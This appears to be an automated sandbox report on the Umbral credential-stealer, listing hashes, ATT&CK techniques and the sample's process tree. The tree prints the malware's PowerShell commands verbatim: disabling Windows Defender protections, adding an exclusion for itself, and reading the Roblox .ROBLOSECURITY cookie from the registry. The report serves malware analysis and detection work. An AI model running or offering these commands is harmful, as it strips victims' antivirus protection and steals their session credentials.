umbral | 196836d6a8ec3b17bf20eef67adb66f5c811e547454f0a3593fcdf795db465cf

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07/01/2025, 23:39

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General

Target

Umbral.exe
Size

231KB
MD5

1386a2acc32c74bd6c5c7c0854ed0057
SHA1

0c7fad651f261659e38a0d248ef293243cd44d2b
SHA256

196836d6a8ec3b17bf20eef67adb66f5c811e547454f0a3593fcdf795db465cf
SHA512

e84390078981e8d5404c854d066242df8fcb09fcdc9c6721e499a99758d63d34e94608910d7f99031c22bf5e2d2ddc21f3126819a38adec13393a2b5d766ced7
SSDEEP

6144:RloZMrfsXtioRkts/cnnK6cMlpDtwt74szeKrd4UBbLxb8e1mii:joZBtlRk83MlpDtwt74szeKrd4UBJg

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/4776-1-0x00000239B5D70000-0x00000239B5DB0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4468	powershell.exe
2976	powershell.exe
2244	powershell.exe
1860	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4028	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4468	powershell.exe
4468	powershell.exe
2976	powershell.exe
2976	powershell.exe
2244	powershell.exe
2244	powershell.exe
5068	powershell.exe
5068	powershell.exe
1860	powershell.exe
1860	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4776	Umbral.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeIncreaseQuotaPrivilege	3192	wmic.exe
Token: SeSecurityPrivilege	3192	wmic.exe
Token: SeTakeOwnershipPrivilege	3192	wmic.exe
Token: SeLoadDriverPrivilege	3192	wmic.exe
Token: SeSystemProfilePrivilege	3192	wmic.exe
Token: SeSystemtimePrivilege	3192	wmic.exe
Token: SeProfSingleProcessPrivilege	3192	wmic.exe
Token: SeIncBasePriorityPrivilege	3192	wmic.exe
Token: SeCreatePagefilePrivilege	3192	wmic.exe
Token: SeBackupPrivilege	3192	wmic.exe
Token: SeRestorePrivilege	3192	wmic.exe
Token: SeShutdownPrivilege	3192	wmic.exe
Token: SeDebugPrivilege	3192	wmic.exe
Token: SeSystemEnvironmentPrivilege	3192	wmic.exe
Token: SeRemoteShutdownPrivilege	3192	wmic.exe
Token: SeUndockPrivilege	3192	wmic.exe
Token: SeManageVolumePrivilege	3192	wmic.exe
Token: 33	3192	wmic.exe
Token: 34	3192	wmic.exe
Token: 35	3192	wmic.exe
Token: 36	3192	wmic.exe
Token: SeIncreaseQuotaPrivilege	3192	wmic.exe
Token: SeSecurityPrivilege	3192	wmic.exe
Token: SeTakeOwnershipPrivilege	3192	wmic.exe
Token: SeLoadDriverPrivilege	3192	wmic.exe
Token: SeSystemProfilePrivilege	3192	wmic.exe
Token: SeSystemtimePrivilege	3192	wmic.exe
Token: SeProfSingleProcessPrivilege	3192	wmic.exe
Token: SeIncBasePriorityPrivilege	3192	wmic.exe
Token: SeCreatePagefilePrivilege	3192	wmic.exe
Token: SeBackupPrivilege	3192	wmic.exe
Token: SeRestorePrivilege	3192	wmic.exe
Token: SeShutdownPrivilege	3192	wmic.exe
Token: SeDebugPrivilege	3192	wmic.exe
Token: SeSystemEnvironmentPrivilege	3192	wmic.exe
Token: SeRemoteShutdownPrivilege	3192	wmic.exe
Token: SeUndockPrivilege	3192	wmic.exe
Token: SeManageVolumePrivilege	3192	wmic.exe
Token: 33	3192	wmic.exe
Token: 34	3192	wmic.exe
Token: 35	3192	wmic.exe
Token: 36	3192	wmic.exe
Token: SeIncreaseQuotaPrivilege	4992	wmic.exe
Token: SeSecurityPrivilege	4992	wmic.exe
Token: SeTakeOwnershipPrivilege	4992	wmic.exe
Token: SeLoadDriverPrivilege	4992	wmic.exe
Token: SeSystemProfilePrivilege	4992	wmic.exe
Token: SeSystemtimePrivilege	4992	wmic.exe
Token: SeProfSingleProcessPrivilege	4992	wmic.exe
Token: SeIncBasePriorityPrivilege	4992	wmic.exe
Token: SeCreatePagefilePrivilege	4992	wmic.exe
Token: SeBackupPrivilege	4992	wmic.exe
Token: SeRestorePrivilege	4992	wmic.exe
Token: SeShutdownPrivilege	4992	wmic.exe
Token: SeDebugPrivilege	4992	wmic.exe
Token: SeSystemEnvironmentPrivilege	4992	wmic.exe
Token: SeRemoteShutdownPrivilege	4992	wmic.exe
Token: SeUndockPrivilege	4992	wmic.exe
Token: SeManageVolumePrivilege	4992	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4776 wrote to memory of 4468	4776	Umbral.exe	85
PID 4776 wrote to memory of 4468	4776	Umbral.exe	85
PID 4776 wrote to memory of 2976	4776	Umbral.exe	87
PID 4776 wrote to memory of 2976	4776	Umbral.exe	87
PID 4776 wrote to memory of 2244	4776	Umbral.exe	89
PID 4776 wrote to memory of 2244	4776	Umbral.exe	89
PID 4776 wrote to memory of 5068	4776	Umbral.exe	91
PID 4776 wrote to memory of 5068	4776	Umbral.exe	91
PID 4776 wrote to memory of 3192	4776	Umbral.exe	93
PID 4776 wrote to memory of 3192	4776	Umbral.exe	93
PID 4776 wrote to memory of 4992	4776	Umbral.exe	96
PID 4776 wrote to memory of 4992	4776	Umbral.exe	96
PID 4776 wrote to memory of 740	4776	Umbral.exe	99
PID 4776 wrote to memory of 740	4776	Umbral.exe	99
PID 4776 wrote to memory of 1860	4776	Umbral.exe	101
PID 4776 wrote to memory of 1860	4776	Umbral.exe	101
PID 4776 wrote to memory of 4028	4776	Umbral.exe	103
PID 4776 wrote to memory of 4028	4776	Umbral.exe	103

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5068
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3192
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4992
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1860
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
ad131c8b53093f1b673385910693d7a3

SHA1
d1948974be7bdbf63f85c132ce81f7e4a71ede2f

SHA256
63b31d22e538288f6adcd34311b222a9e77c668093f12146d0c2d078698c4376

SHA512
9e0682979b727dacc054df93a1eb7c26210d9cf6ab79b85cc2e4bf91d92ada282499ef2a3df82ef3408f1ed1e0ad71a70f0086e4d6cfb4b2c50d015085ad1813

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7511c81925750deb7ad1b9b80eea8a8d

SHA1
6ea759b3cbd243ae11435c6d6c5ced185eb01f49

SHA256
5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa

SHA512
5f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ezgqh00s.oh2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4468-12-0x0000026EFE240000-0x0000026EFE262000-memory.dmp

Filesize
136KB

Download
memory/4468-13-0x00007FFF98C70000-0x00007FFF99731000-memory.dmp

Filesize
10.8MB

Download
memory/4468-14-0x00007FFF98C70000-0x00007FFF99731000-memory.dmp

Filesize
10.8MB

Download
memory/4468-15-0x00007FFF98C70000-0x00007FFF99731000-memory.dmp

Filesize
10.8MB

Download
memory/4468-18-0x00007FFF98C70000-0x00007FFF99731000-memory.dmp

Filesize
10.8MB

Download
memory/4776-32-0x00000239B7B30000-0x00000239B7B80000-memory.dmp

Filesize
320KB

Download
memory/4776-31-0x00000239D0380000-0x00000239D03F6000-memory.dmp

Filesize
472KB

Download
memory/4776-33-0x00000239B7B00000-0x00000239B7B1E000-memory.dmp

Filesize
120KB

Download
memory/4776-1-0x00000239B5D70000-0x00000239B5DB0000-memory.dmp

Filesize
256KB

Download
memory/4776-0-0x00007FFF98C73000-0x00007FFF98C75000-memory.dmp

Filesize
8KB

Download
memory/4776-70-0x00000239B7B90000-0x00000239B7B9A000-memory.dmp

Filesize
40KB

Download
memory/4776-71-0x00000239D0680000-0x00000239D0692000-memory.dmp

Filesize
72KB

Download
memory/4776-2-0x00007FFF98C70000-0x00007FFF99731000-memory.dmp

Filesize
10.8MB

Download
memory/4776-91-0x00000239D0270000-0x00000239D0372000-memory.dmp

Filesize
1.0MB

Download
memory/4776-92-0x00007FFF98C70000-0x00007FFF99731000-memory.dmp

Filesize
10.8MB

Download